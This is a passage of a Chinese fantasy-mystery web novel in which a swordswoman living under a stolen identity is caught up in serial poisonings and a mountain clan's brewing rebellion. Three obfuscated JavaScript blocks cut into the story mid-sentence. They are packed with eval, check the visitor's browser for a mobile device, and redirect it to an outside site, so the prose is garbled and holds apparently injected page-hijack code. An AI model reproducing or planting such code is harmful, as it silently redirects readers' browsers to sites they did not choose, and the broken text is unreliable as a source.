“你从前明明……明明那么招人讨厌。你刚会走路的时候还很可爱,一逗就小脸皱成一团。后来大了些,仗着自己是陌刀门门主的长女,到处欺负人,我这个姐姐也给你趴下当过狗呢,”刘子钧愤愤得举起拳头,又软绵绵地落下,“陌刀门当年出了那样的事,对你的处罚是重了些,可那也是门主对你爱之深,责之切呀……瞧瞧你现在,门主见了一定很欣慰的……” 徐澄飞一直以为徐澈是个从小不受重视的长女,没想到她居然还有一段仗着长女身份张扬的日子。不过她对徐澈性格讨厌一事深表赞同。 “变化真是,”刘子钧喃喃吞掉了后面几个字,突然又抬起头,眼中的精光一闪而过,“妹妹呐,你以前右耳后是不是有一颗小痣来着?你常常炫耀那是和你娘一样的聪明痣呢!” 刘子钧的目光探来,徐澄飞下意识地抬手遮住了右耳,心中砰砰乱跳。 这刘子钧莫非已经发现了自己不是原主? 那该怎么办?若是身份暴露,徐澈老家必定会追查徐澈之死,那徐澄飞这些年来经营的生活将化为泡影,甚至会流离失所,大荣将再无她这个犯人的容身之地。必须堵住刘子钧的嘴…… 徐澄飞缓缓将手探向搁在一旁的弯刀。 伏虺感受到了主人的杀意,刀身散发出暗红的光芒。 正当徐澄飞犹豫之时,只听“砰”的一声,刘子钧的头重重地栽倒在桌子上,撞倒了一片杯盏。 徐澄飞呼出一口气,这人已经醉的不省人事了。 她静下心来,思索着对策:杀人灭口是下下策,刚刚的想法太冲动了,一定有更好的解决方案。 一时间雅间静得只有自己的呼吸声。 不对,太安静了。 徐澄飞猛地看向刘子钧,眼前的人依然埋着头,连胸膛都没有一丝起伏。 她拿起烛台凑近,摇曳的烛光下,刘子钧双目圆睁,眼底却一片死灰,几道黑血缓缓从她的眼眶,口鼻爬出。 她死了。 4. 第 4 章 “嘀嗒,嘀嗒……” 黑血慢慢划过脸颊,流过红木桌沿,很快在桌脚旁形成了一片小小的血洼。 徐澄飞感受到一股从脚底升到头顶的凉意。 是因为那片烤鸭,还是那碗菌汤——这很明显是中毒的症状。 她脸色一白,捧起一旁的痰盂,抠开喉咙吐了起来。 吐到胃一阵痉挛,她才缓缓坐回去,打了瓢清水漱口。 谁下的毒,饭馆里的厨子?虽然她刚刚把吃的东西都吐了出来,但她隐隐觉得这是针对刘子钧一人的投毒。如果是这样,那毒药一定不是在两人共同进食的晚餐之中。 徐澄飞把今天的事从头到脚理了一遍,并没有什么头绪。 但她知道当务之急是迅速撇开此事与自己的关系,如果事情闹大了将相当麻烦,毕竟自己此次出来的主要目的就是躲避风声。 她思索片刻,便打开窗户翻身而下,稳稳落在下一层的房梁上。在梁上观察到走廊没人后,才跳下去推开自己房间的门。 “师姐,你终于办完差啦,”贺安兴奋地跑来,见徐澄飞神色凝重,顿时不安起来,“怎么了师姐……” 徐澄飞大步走到衣架边将官服拿上,转过去扶住贺安地肩膀,郑重道: “贺安,刚刚刘子钧跟我喝酒的时候突然死了。” “啊!” “嘘!你待会先去我们吃饭的房间一趟,然后出来吩咐店家不要进去打扰,再去县衙报官,就说见我迟迟不回去看了一眼发现刘子钧死了,我醉倒在旁边。你把我弄醒之后我吩咐你去找县老爷,自己守在现场没有声张。” “好……”贺安惊恐地连连点头。 徐澄飞继续道: “千万别提我是府衙知事的事,就说我们只是帮忙的小吏。” 说罢她打开房门确定没人后,又翻过走廊的护栏跳到酒楼后的林地上。 她借着月色在林间疾步穿梭,直到身后的酒楼变得只有拳头大小,她才停下,四下张望,挑了一棵不起眼的树,爬上去将手里的官服藏在了枝叶之中。 官服处理妥当后,她又从袖中拿出一张徐澈的路引,用火折子点燃,一直看着它烧得一干二净才起身返回。 还没走到酒楼底下,徐澄飞就瞥见晚上吃饭的房间窗户里有一个鬼鬼祟祟的身影。 那人黑布蒙面,怀里抱着一个长条状的东西,十分谨慎地四处张望,动作轻柔地爬上窗沿准备逃走,刚跳到屋脊上,就和站在楼下的徐澄飞四目相对。 “小毛贼,把你手里的东西交出来!”徐澄飞大喝一声。 那小贼丝毫不惧,转身朝酒楼右侧逃,脚下的瓦片被踩得叮当作响,转眼就在转角处闪身不见了。 徐澄飞三步并作两步跳上了屋脊,疾跑到转角,一道寒光袭来,她急忙后仰,只见铭文满布的刀面上闪过她惊慌的眉眼。 一刀未中,那人手腕一拧,扭身直直向徐澄飞刺来。 徐澄飞侧身躲过,小贼又立刻转向砍来。 此时徐澄飞却不避让,抬肘稳稳格住了刀背狠狠推了出去。小贼一愣,顿时失去了平衡,双手徒劳地挥舞了几下就向后倒去。 徐澄飞伸手抓住那人的衣摆把她扯了回来,笑道: “刀可跟剑的使法不一样,你若是乖乖把刀还给我,我就放你走,怎么样?” 小贼顺从地点头,徐澄飞“哼”的一声松开衣摆伸手接刀。 没想到那人将刀朝她身后抛了过去,转身就逃。刀在瓦片上弹了几下就要滚下屋脊,徐澄飞下意识地俯身去拦,刀翻滚的动作却突然一滞,竟自己飞回了那人的手里。 那小贼在刀上缠了线! 小贼掂了掂弯刀,似是十分得意。 徐澄飞顿时气得七窍生烟,暗暗发誓绝不放过这个贼人。她闭眼顺了口气,再睁开眼,瞳色已变得鲜红欲滴,眸底闪过一抹厉色,沉声道: “伏虺。” 小贼手里的刀红光大亮,刀柄连带着贼人的手一转,直直朝徐澄飞飞去。 那人顿时傻了眼,急忙将刀脱手,却还是被带着趔趄了几步。她反应倒也够快,迅速从怀里掏出一把小刀将线斩断。 徐澄飞冷笑一声,单手握紧刀柄虚空一劈,顿时带起了一阵劲风,吹得她衣袂翻飞: “奶奶我今天非把要你逮住关进大牢不可!” 那人根本没功夫听她放大话,早就闪身躲回了房间。徐澄飞也跟着跃进窗户,只见小贼正背对着她堂而皇之地开门,蒙脸的黑布被扔在一边。 徐澄飞哪儿肯给她机会,立刻上前要架住她的脖子。 门被推开,房间外的喧闹和灯光一齐涌进来,那小贼腿一软跪倒在地,扯着嗓子嚎道: “饶命啊少侠,小的下次再也不敢放那么多盐了!” 一番大叫迅速吸引来了整个酒楼的目光。 这口丝滑的黑锅砸得徐澄飞僵在原地,举起的弯刀竟是不敢再挪动分毫。 那人一边求饶一边还能分出眼神看自己的笑话,仔细一看,此人肤色黝黑,竟是前一日给她们上菜的大娘。 徐澄飞恍然大悟: “好哇,是你!你从那时候就开始计划……” “计划什么?”一道沉稳厚重的质询声传来。 只见一位气势凌厉的女人缓缓拾级而上。此人长眉压眼,目光含霜,薄唇紧抿,腰间的青龙白玉环轻轻摆动。她身后跟着点头哈腰的县令大人,还有不知所措的贺安。 怕什么来什么,真是倒大霉了。 徐澄飞认命般把刀一扔,双手抱拳,恳求道: “请县令大人为在下主持公道!” · 小小的雅间一时间挤进来不少人,县令听了徐澄飞上报的原委,先吩咐了一个衙役去把郑昌和何才传过来,又叫了个仵作来查验尸体。 偷刀的大娘则被捆了扔在一边,或许是没想到偷个东西还这么巧卷进命案里来,全程一脸苦相。 “七窍流血,死不瞑目,的确是中毒的症状,”仵作仔细观察着手上发黑的银针,“死者发作迅速,此乃剧毒,不可能有潜伏期。” 这意味着刘子钧是在死亡前很短的时间吸入毒药的。 此话一出,众人齐刷刷看向了徐澄飞。 徐澄飞指了指一旁的痰盂: “我跟他吃的一样,刚刚才吐的。县令大人,真如仵作所说的话,我也早就没命了呀。” “不能排除旁人直接下毒的可能。”仵作意有所指。 徐澄飞早有预料,解释道: “既然是临时投毒,总不能直接喂到她嘴里吧?查一查她的酒杯碗筷有没有毒药残留便知。” 县令点点头: “照她说的验毒。还有,把她全身,房间也都查一遍。” 几个衙役和仵作依令行事,没过多久,纷纷回来汇报没有发现什么异常,碗筷上也没有毒药残留。这时,郑昌和何才被人推了进来,两人刚进来就看到了刘子钧的死状,吓得语无伦次。 “都站好了,本官问你们几个问题。”县令道。 郑昌立刻反应过来,匆忙辩解道: “大人,咱们和刘兄一向要好,从没结下什么梁子啊!此事可由各个茶庄的伙计们作证。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417923|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那我问你,这个刘子钧还有什么别的仇人?” 郑昌答道: “刘姐一向待人周到,不会有人想置她于死地的。” 县令听了,同旁边的女人示意道: “宪台,您看……” 原来这郎官正是当今银海台的左副都御史——李珅。 “纪珩。”李珅抬了抬手。 她身后立刻走出一位同样气质不俗的郎官,此人面容清秀,发鬓衣袖理得一丝不苟,看起来尚不足二十。 纪珩先是走到徐澄飞面前端详了一阵,又走到尸体旁转了一圈,随即将一只手搭在尸体头上,双目赫然变红! 几道不知何处而来的流光在她的眼睛里翻转跳跃,没多久便慢慢沉寂散尽,瞳色恢复了正常。 纪珩撤回手,朝李珅拱手温声道: “大人,是一样的情况。” 李珅点点头。 “不过——”纪珩看向徐澄飞,又上前俯身对着李珅低语了几句。 徐澄飞顿感不妙。 这人有天瑞神力,莫不是能看到自己方才做了些什么? 李珅眉头微皱,对着郑何二人开口道: “商议茶价,为何你们二人不在场?” “这个……”郑何二人对视一眼——刘子钧认识的黔州府知事当年是买官进来的怎么好意思拿到明面上讲。 县令一拍桌板: “大胆!钦差大人问话你们也准备胡诌?” 两人吓得立刻跪在地上: “钦…钦差大人,我们说!这个徐澈……” “知事大人来的路上染上风寒了,不得已滞留途中,这才派在下赴约,方才我已经同各位大人解释过了。”徐澄飞朗声打断道。 郑昌一脸震惊: “你不是府衙知事徐澈?那子钧……” 徐澄飞微微一笑: “在下徐澄飞,江湖闲人一个。知事大人广结好友,见我机敏才给我派些散活混饭吃。我虽与刘姐姐一见如故,但从未在你们面前承认过本人就是她认识的‘徐澈’吧?” “那你那小丫鬟怎么一口一个‘大人’的?逗我玩呢!”何怒吼道。 徐澄飞脸不红心不跳,继续耍无赖: “皇天在上,给大荣官府做事,怎么不担得起一句‘大人’?何兄若是不喜欢,我让贺安换一个便是。贺安!” “诶,师姐!”贺安配合地应声。 那两人顿时如遭雷击,无话可说。 李珅轻笑一声,眼底却毫无笑意,房里的氛围瞬间凝重起来。 在不知过了多久的沉默之后,李珅终于开口了,语气阴冷: “徐少侠,你这把刀倒是把宝刀。” 徐澄飞冷汗直冒,摸不清李珅了解多少,又怕她看上了伏虺要抢走,只得坦白道: “大人慧眼识珠,这是家母离家前留下的。在下也有幸沾了点天瑞神光,能召唤此刀,方才才没有被贼人偷去。” “哦?唤一个试试?”县令来了兴趣。 徐澄飞深吸一口气,瞳色渐红,朗声道: “伏虺!” 屋内一片寂静。 不是吧,这个时候闹脾气! “伏虺,来!”徐澄飞又硬着头皮喊了一声。 通体漆黑的弯刀仍静静地躺在一旁。 李珅似乎是看够了这场闹剧,起身就走,身后浩浩荡荡地跟了一群郎官。 “诶大人别走,我还能再试试!”徐澄飞还不死心。 县令却没了耐心,大手一挥: “都给我捆回县衙里去!” 5. 第 5 章 潮湿发霉的地砖上铺了一层厚厚的干草,徐澄飞在上面找了个还算舒服的位置躺着闭目养神。 这么看,县衙的地牢环境还不算太差,有吃有睡的,除了尿壶一天才有人来倒一次这一点有点难以忍受。 贺安盯着两片黑眼圈,幽幽道: “师姐,我们都关在这里有两天了,都没人来审问我们,该不会被县老爷忘记了吧!” 徐澄飞缓缓睁开一只眼,无所谓道: “没有消息就是最好的消息,你以为县衙会一直养着我们这几个人白吃白喝?反正人又不是我杀的,等风头过去了,县令回过神了自然就会把我们放了。” 这一路以来诸事不顺,徐澄飞已经接受了自己倒霉的事实。她已经把李珅和纪珩连带着银海台祖宗十八代都问候了一遍,这口气也消了,没必要再难受了。 现在正是深夜,几个守夜的狱卒在门口打着哈欠聊天,声音远远地传来: “你听说没,那女的家里的男人也死了,尸体刚拉到小王那里,这两天可把他累坏了!” “这可真是奇了怪了,县里这几天好几个人都是这么个死法,怕是撞了鬼了。” “怪不得钦差大人都插手了呢,你说她会不会接手这个大案?” “你想多了,一个小县城死几个中毒的人有什么好查的。钦差大人明天一大早就要进山了,皇命在身,没空理会这些小打小闹。” 徐澄飞竖着耳朵还想多听几句,两个狱卒声音却渐渐小了,仿佛在讨论什么不可告人秘密。 干草垫被徐澄飞占着,那大娘两天都是蜷在阴冷的地砖上,此时不停地清嗓,口里含着一口不上不下的痰,似乎是要感冒了。 “喂小贼,”徐澄飞起身拍拍屁股,蹲到她面前,“你叫什么名字?” 大娘斜睨了她一眼,没说话。 徐澄飞轻笑一声,猩红的瞳色在暗不见天日的地牢里显得愈发阴森: “我问你话呢?” 大娘咽了口口水,不甘道: “我没名字,是家里最小的娃,外面的人一般叫我代老幺。” 徐澄飞瞳色恢复了正常,点点头又问道: “你刚刚说‘外面’,难不成你不是县里的本地人?” 代老幺支支吾吾道: “唔...我平常一般不在县里做事,只有大节前后...” “噢我懂了,”徐澄飞意味深长道,“你专门干的是偷鸡摸狗的事对不对?” 代老幺辩解道: “哼,鸡啊狗啊有什么稀罕的?我这都是为了寨子的前途。” “什么寨?” 代老幺意识到自己说错了话,埋头不语。 徐澄飞追问道: “你该不会是龙吟山的阿依族人吧?” 代老幺一脸震惊地抬头。 徐澄飞抚掌大笑一声,像是捡到了什么宝贝,一拍代老幺的肩膀,兴奋道: “我有办法出去了!” · 次日鸡才鸣了两声,牢房里就响起了代老幺尖利的叫声: “来人呐,来人呐!” 几个狱卒闻声而来,只见代老幺扒着铁栏拼命大喊,头都快挤出来了: “快去传县老爷!这位少侠也中毒了!” 狱卒心里一惊,仔细看去,徐澄飞正倒在贺安怀里抽搐,墨发四散,一张脸惨白,嘴角隐隐有血迹。 习武之人最重要的基本功就是调整身体的状态。熬个夜,放放指尖的血,再让体内的真气四溢,血气下涌,加上地牢里不足的光线和徐澄飞绝妙的演技,狱卒已经信了七八分,又不想和连环中毒案扯上关系,心里一急,马上回身跑去禀报县令。 没多久,县令匆匆赶来,李珅纪珩一行人也果然来到了现场。 此时徐澄飞已经坐起来了,被另外两人扶着,两眼紧闭,双唇微微翕动,看起来十分虚弱。 “怎么回事,不是中了剧毒?还没死?”县令惊奇道。 代老幺上前道: “回大人,小的见徐少侠危在旦夕,便拿出了家里祖传的神药,可解百毒,这才从阎王爷手里抢回一条命。” “世上还有这种奇药?拿来我看看。” 代老幺递上一个荷包,里面自然是空空如也,县令正要发怒,她才解释道: “大人,这药制作工艺复杂,材料更是难寻,本就只剩一颗了...小的祖母是龙吟山的阿依族巫医,精通此道,大人若是想要,小的愿意回家一趟做来献给大人。” “你是龙吟山里的人?”李珅一开口,县令马上退到一旁。 “回大人,寨子里土生土长的阿依族人,过节时分才下山补贴些家用,平常是走街串巷的货郎,对龙吟山的各个寨子都很熟悉。” “你是哪个寨子的?” “龙吟山十八寨之首——虎啸寨。” 李珅思索两秒,吩咐道: “你收拾一下,把我们几人领进虎啸寨。” “是!”代老幺欢喜地应声。 徐澄飞在一旁轻咳了两下,代老幺又小心翼翼道: “大人,徐少侠虽没有生命危险,但毒药伤肝,还需要及时调理,不如找个医馆把她...” “既如此,”李珅悠悠回道,“徐少侠也跟我们一起进山吧,你的救命恩人医术这么好,一定能把你调理的生龙活虎。” 徐澄飞暗暗捏紧衣袖,心中破口大骂,恨不得跳起来踢飞李珅的脑袋,面上却只得继续装病。 这李珅真是跟自己杠上了,不过她可不怕,她就不信自己找不到机会逃跑! · 由于徐澄飞“肝伤未愈”,李珅大发慈悲地允许她骑着自己的呆驴上山。 出了夷川县城,便再没有平路可走。进入起伏的群山之中,一条崎岖的山道蜿蜒而上,道路两旁皆被草木掩盖,山体蔽日,难辨东西,空气更是湿冷难耐。 银海台的朗官们虽都换了身朴素的打扮,但仍骑着毛发油亮的白马,驮着大包小包,十分张扬。 徐澄飞和贺安加一个呆驴被围在朗官们中间,别说逃跑了,连个虫子都飞不进来。 “徐少侠,”纪珩将马儿拉近,作揖道,“这几日抱歉了,李大人事务繁忙,让你在牢里受了些罪。” “哪里哪里,”徐澄飞礼貌回道,“李大人日理万机,还能顾上送在下治病,如此操劳,在下受的罪比起来也不算什么了。” 纪珩听出来她话里的讥讽之意,两弯柳眉舒展开来,微笑解释道: “县里发生了好几起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417924|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的案子,死者都与虎啸寨沾些关系。李大人知道你不会是凶手,但为了避免意外发生,还是决定把你带在身边观察一段时间。” “哼,我跟虎啸寨能有什么关系?你们千里迢迢赶来就是专门来破这个连环杀人案的?”徐澄飞不屑道。 纪珩摇头笑了笑没有说话。 徐澄飞突然想起了什么,凑近低声问道: “你有天瑞神力对吧,那天你看见什么了?” 纪珩坦然答道: “是,我的祖母就是纪丛。我继承了她的神力,能够看到人身上的‘气’——大概是一种比较强烈的因果特质,某些特殊情况气会变得更加明显,比如死亡。” “你看到她死时候的气和虎啸寨有关了?” “当然没有,我看不到那么远,虎啸寨是我们之后调查出来的。我是在死者身上都看到了同一种颜色和状态的气,很浓郁,我可以确定与他们的死亡有关。” “哦?那你这个神力感觉也挺没用的,是个人都能看出来他们是被同一种作案手法杀害的吧?” 纪珩脸上的笑差点没挂住,沉默了几秒,又恢复了从容: “我还看到了...你身上也有这种气。” “什么?” “不,准确的来说,这些气好像最终都与你的那把刀有牵连...” 徐澄飞悚然一惊,勉强笑道: “你开什么玩笑,刀这种死物身上怎么可能有气...” “吁——”前方一阵勒马的声音打断了她们的谈话,周围的人也纷纷把马停了下来。 徐澄飞伸长脖子一看,原来是还算宽敞的山道突然变窄了,潮湿的泥土中垫了些凹凸不平的石板,歪歪扭扭地往大山高处延伸,目测仅能容一人通过。 马儿肯定是不能过了,细瘦的呆驴或许还勉强。 李珅当然也想到了这层,当即吩咐几人留下来守马,又把徐澄飞从驴背上赶下来,拣了些重要物件让驴驮着。 驴呆呆地打了个响鼻,老老实实地背着东西跟着别人走了。 徐澄飞幽怨地盯着李珅的后背,恨不得盯出个洞来。 贺安抓住她的手摇了摇,安慰道: “别生气啦师姐,没有小呆的话拿东西的就是我们了!” 徐澄飞想了想觉得是有那么几分道理,便又开始庆幸幸好自己这个“病号”拖上了呆驴。 走了大约一个多时辰,众人的脚底都沾满了泥土,脸也被两边伸出来的枝叶刮成了花猫。 前面的代老幺指了指身旁——那是一条更隐秘陡峭的小路,连石板也没有了,只能靠别人踩出来的泥坑落脚。 李珅的脸色有些不太好,却仍决定继续走下去。她让人把驴拴在水沟旁,放了几捆干草。 这下真成了徐澄飞一行人背东西了。 徐澄飞一路黑着脸爬山,往钦差大人的行李上不知偷偷擦了多少回泥,终于在天色将暗时队伍拐进了一条平缓一些的路,没走多久便看到路旁用竹子扎起来的栅栏伸向前方。 拐过一颗老树后,豁然开朗,几片农田上方,虎啸寨的寨门威风凛凛地立在坡上,几个拿着农具的大汉正守坐在门前聊天。 “那边是啥子人!”其中一人发现了陌生人,立刻起身警惕起来。 6. 第 6 章 “你们干什么的?”一个大汉头缠藏青色布帕,手里的锄尖直指众人。 代老幺跳了出来,挥手道: “是我,人是我带来的!” 另一个大汉看见她,立刻笑了起来: “哟,黑幺娃,你上哪里讨饭去了,滚一身黑泥,阿嬷都以为你赌气跳江喂鱼了呢!” 说罢两个大汉一起捧腹大笑起来,代老幺的脸更黑了。 “哼,别笑了。我问你们,今天寨主是不是在办大锅席。”代老幺问道。 “是,寨里好多外地客人呢,怎么,你想起来凑热闹啦?” 代老幺下巴一扬,神色很是得意: “看见了么,我也带了好些有神通的人,他们都想见见寨主。” 守门人打量起其他人,十分谨慎: “你们愿意拜访寨主,寨主当然欢迎你们。不过你们得先报上家门来。” 大家齐刷刷看向李珅。 李珅听了守门人的话,眉头微皱,突然一个抬手把旁边的徐澄飞推了出来。 徐澄飞措不及防地踉跄几步,顿时会意,抱拳向守门人行礼道: “在下徐澄飞,师从陌刀门掌门徐千浪一脉。这是我在师门里结拜的几位义姊义妹,会些拳脚功夫。听闻寨主惜才如金,又广纳贤士,特地来试一试。” 徐千浪是徐澈的老爹,自己的刀法又的确是徐澈教的,怎么不算陌刀门掌门亲传弟子呢? 陌刀门的刀道以奇诡狠厉,变化万千而闻名天下,守门人自然不会不知道。徐澄飞虽只跟着徐澈学了半年,但也领悟到几分精髓,当下拔刀展示了几招。 守门人见这刀法果然不俗,当即放下农具,将众人迎进了虎啸寨。 一进寨门,穿过一片光秃秃的稻田,顺着蜿蜒而上的石子路,便进入了错落有致的竹楼群内部。 他们的竹楼多是依坡而建,楼房被高高的杆子撑起来,下面豢养些牲畜,上面住人。 一路走去,楼里没见到几个居民,估计都是去参加代老幺口中的“大锅席”了。 “你说的‘大锅席’是什么东西?”李珅问道。 代老幺解释道: “回大人...哦不,回大侠,每年巴代节的末尾,虎啸寨会举办一场宴席,邀请龙吟山十八寨的阿依族人们团聚一下,目的是为了增强十八寨的联系,各个寨子有什么困难也可以在席桌上提出来,大家互相帮衬一下。” 听起来跟皇帝每年接受各位臣子的述职是一个道理。没想到寨子的治理方法也跟外面大差不差,虎啸寨的重要地位可见一斑。 徐澄飞好奇的是一个阿依族内部的聚会,怎么会放进来这么多无亲无故的外地客人。这个寨主见这么多有神通的人是要干什么呢? 李珅等人却仿佛没有这个疑惑,都默不作声地跟着代老幺走。 徐澄飞巴不得跟他们少说几句,自然没准备多问,一路上都在默默观察着地形,设计逃跑路线。 只要悄悄走掉,回去带上呆驴,一晚上的时间够她和贺安跑得无影无踪了。李珅纵然查到了徐澈头上又怎样?反正她也不准备在府衙受气了,换个地方做点小买卖一样能活。 走到竹楼群中心时,也差不多爬到了山的中央。这里有一块颇为宽敞的平地,地上铺有青砖,搭了不少大方桌和长椅,桌上已经摆上了茶和瓜子花生。 许多人在这里来来往往地忙活。这里大概就是办大锅席的广场了。 代老幺领着几人挑了张靠后的桌子坐下后便告退去给寨主说明情况。 傍晚时分,周围点起了火台,广场顿时明亮起来,火光照得人脸上起了两片红晕,寒风被隔绝在外。 这时广场前方略高的平台上走上来一位身着藏青色刺绣布衫,红布包发的女人,在周围族人的簇拥下在餐桌前站定,整个广场顿时安静下来。 那女人举起一个灌满酒的牛角,声音洪亮: “各位姐妹兄弟,各位客人们,我代宗赋,代表虎啸寨欢迎你们的到来!” 人群中掌声一片,代宗赋继续道: “今天是个特殊的日子,许多客人从很远的地方赶来。但请大家放心,寨子里准备了足够的房间和美酒佳肴,晚上还有篝火表演,每个人肯定都能吃好玩好睡好!我也不多说废话了,拦门酒走起!” 说罢,她先下了高台,用手中的牛角亲切地给一桌客人喂酒。广场四周也走出来打扮正式拿着牛角的阿依族人给各个客人喂拦门酒,说是代表着欢迎和祝福。 一个胸前挂满银饰的姑娘叮叮当当地走来给徐澄飞喂酒。 徐澄飞喜滋滋地仰起头接酒,美酒入喉,甘甜清爽,还带了些软糯的颗粒,有一股别样的风味,顿时让她觉得没有白来一趟。 李珅等人却十分谨慎地拒绝了喝酒。 这让这位阿依族姑娘有些尴尬,踌躇了几下捧着牛角回去了。 拦门酒结束之后,一盘盘美食如流水般流到了各个方桌上。 徐澄飞和贺安默契地同时动筷。饶是刚刚还绷着一根弦的纪珩,走了一天的路,也忍不住夹起了菜,斯文地小口进食。 李珅仍是不动,静静地看着广场前方——代宗赋又站回了高台,准备发言了。 只见她轻轻抬手,待众人安静后,开口道: “大家慢慢享用,我只是简单说两句。我们都知道,十八寨历史悠久,资源丰富,我们的祖先几百年前就开始自给自足,现在姐妹兄弟们虽然大多在龙吟山以南生活,但在几百年前,夷川县那个地方都种满了我们的稻谷呢!” 徐澄飞夹肉的动作一滞,内心升起了一种不好的预感。 只听代宗赋继续道: “近些年来,姐妹兄弟们越来越团结。不光是十八寨,在大家的努力下,南边的族人们和我们的联系也变得紧密起来。汉人们常常对我们有偏见,咱们的族人走出龙吟山,讨口正经饭吃需要付出多少超出汉人们的努力?” “我们虽通过贸易与他们交换了些物资,但谁定的规则,谁获益得多不是显而易见么?阿嬢们年年都熬红了眼,做出来的一张张耗尽心血的锈片上贡到皇帝手里,皇帝转眼就扔给了些不三不四的人。” “我不是说皇帝不好,她确实也为我们做了很多。我只是觉得,我们十八寨还可以再进步一点,至少像咱们的祖先那样,拿回自己的土地,不需要在自己的地盘上受别人的白眼。” “当然,愿意为我们打抱不平的客人们,我们阿依族一定会好好感谢你们的…” 徐澄飞惊掉了下巴:这哪里是聚餐啊?这简直是聚众造反! 她顿时觉得自己又掉进了贼窝,偷偷看向李珅。 只见李珅神色如常——显然,这位钦差的任务就是来调查阿依族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417925|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谋反一事的。 徐澄飞有些佩服她带这么几个人就敢闯匪窝,不怕身份败露一命呜呼吗? 这时,席桌前方一个矮壮的女人站起来跳到了高台上,将身上披着的毛领斗篷一扔,光着膀子大吼道: “大饥huang时寨主救过我一命,她是个讲义气的人!我愿意用我的神力支持她拿回自己的东西!” 她举起拳头深吸一口气,瞳色变红的一刹那,整个人消失不见! 在场的众人都惊呼起来,纷纷起身寻找她的身影。 “我在这儿呢!”只见那个人从右侧的一个桌子下面钻了出来。 虽然回来的方式不太体面,但也足够震住现场的人了——他们恐怕是头一回见到有天瑞神力的人。 代宗赋也叫了几声好,招手让那个人过来。 一位阿依族人端上来一个箱子,代宗赋打开,顿时有银光在她脸上浮动。 她拿出来几块石头大小的银子递给了光膀子。光膀子连声道谢并举起银子给众人展示。 台下立刻有人坐不住了,都要起来给寨主展示自己的神通。 寨主笑眯眯道: “各位大侠不必着急,一桌桌来,人人有份。” 台上热闹起来,徐澄飞倒也看得津津有味,时不时观察一下李珅的神色,看看她有没有被这阵势吓到。 无奈此人始终稳于泰山,面上看不出一丝愁容。反倒是频频偏头的徐澄飞引起了她的注意。 “徐少侠,你若是想上台表演的话也不必请示我。”李珅开口道,唇角带着一丝讥笑。 徐澄飞连忙摆手: “哪里哪里,李大人误会了...” “这里的客人,你们有想上台展示的吗?”一个阿依族人走来打断道。 李珅朝徐澄飞扬了扬下巴。 徐澄飞在威压的目光下扶着刀跟着那个族人走到了高台边。 在一个胸口碎大石的客人领了银子下台后,徐澄飞在族人鼓励的目光下走到广场前方的空地。 她拔刀出鞘,伏虺的寒光顿时吸引了所有人的目光。 接着,她开始舞起了刀。 横勾侧劈,轻挑重砍。一套动作如行云流水,阵阵破空声又增添了几分杀气,在场的人无一不叫好。 “少侠,接着!” 一把长刀紧随那道陌生的声音而来,徐澄飞左手稳稳接住了那把刀。 看来是有人嫌不够刺激,想看她舞双刀。 徐澄飞对自己的刀法十分自信,双刀自然不在话下。只见她加快了动作,两把刀在她手中如同柳条般轻盈飞舞,劈砍时又仿佛重千钧般带起尘土石块。 就在她把右手的伏虺甩出一个漂亮的回旋时,伏虺却突然失控,朝高台方向甩去! 徐澄飞心下一惊,立刻飞身出刀勾住伏虺。 伏虺被轻而易举地改变了方向,却又带着劲风向徐澄飞砍来! 一切看起来都很像意外,可是徐澄飞用刀格住伏虺时,却清晰地看见它散发着杀气的红光。 她顿感不对劲,瞳色赤红,吼道: “伏虺!” 伏虺的红光立刻散去,在空中滞了半秒后,慢悠悠地飞回了徐澄飞手中。 “好!少侠好刀法!”又是那道陌生的声音。 一个身着锦衣的少年拍着手从人群中走了出来。 7. 第 7 章 那少年肤如凝脂,目若秋波,生的很是俊俏。她身披一件雪白的狐裘,脚踩一双云纹锦靴。一看就是家境殷实,身份不凡,与周围灰头土脸的众人格格不入。 她笑盈盈地将徐澄飞手里那把普通的刀接过来,那刀受了伏虺一击,再经这番颠簸,竟“喀嚓”一声断成了两半。 高台上的代宗赋不禁夸道: “果然是把宝刀!少侠,你有能驱使这宝刀的神力,必然能助我等成就伟业!” 说罢便拿出一大把银子亲自下来塞进徐澄飞手里,周围的人也欢呼起来。 徐澄飞哪敢接这杀头的赃款,推脱不成,便捧着银子急急走回李珅面前,讪讪笑道: “李大人,这些东西…您看怎么处理?” 李珅也毫不客气,二话不说直接让人把银子接了去,给徐澄飞留下了一块指甲盖大小的银子。 徐澄飞早就料到她的抠门,走来的时候就提前将几块银子藏在袖中,其它的的充公,免了杀头之罪,简直一举两得。 “这位少侠如此身手不凡,裴某十分仰慕,不知能否交个朋友。” 徐澄飞转身一看,发现是刚刚那位少年跟了过来。 那少年似乎才看清了桌上的情况,惊讶行礼道: “李大人,纪珩姐姐。” 纪珩眼睛一亮,欣喜道: 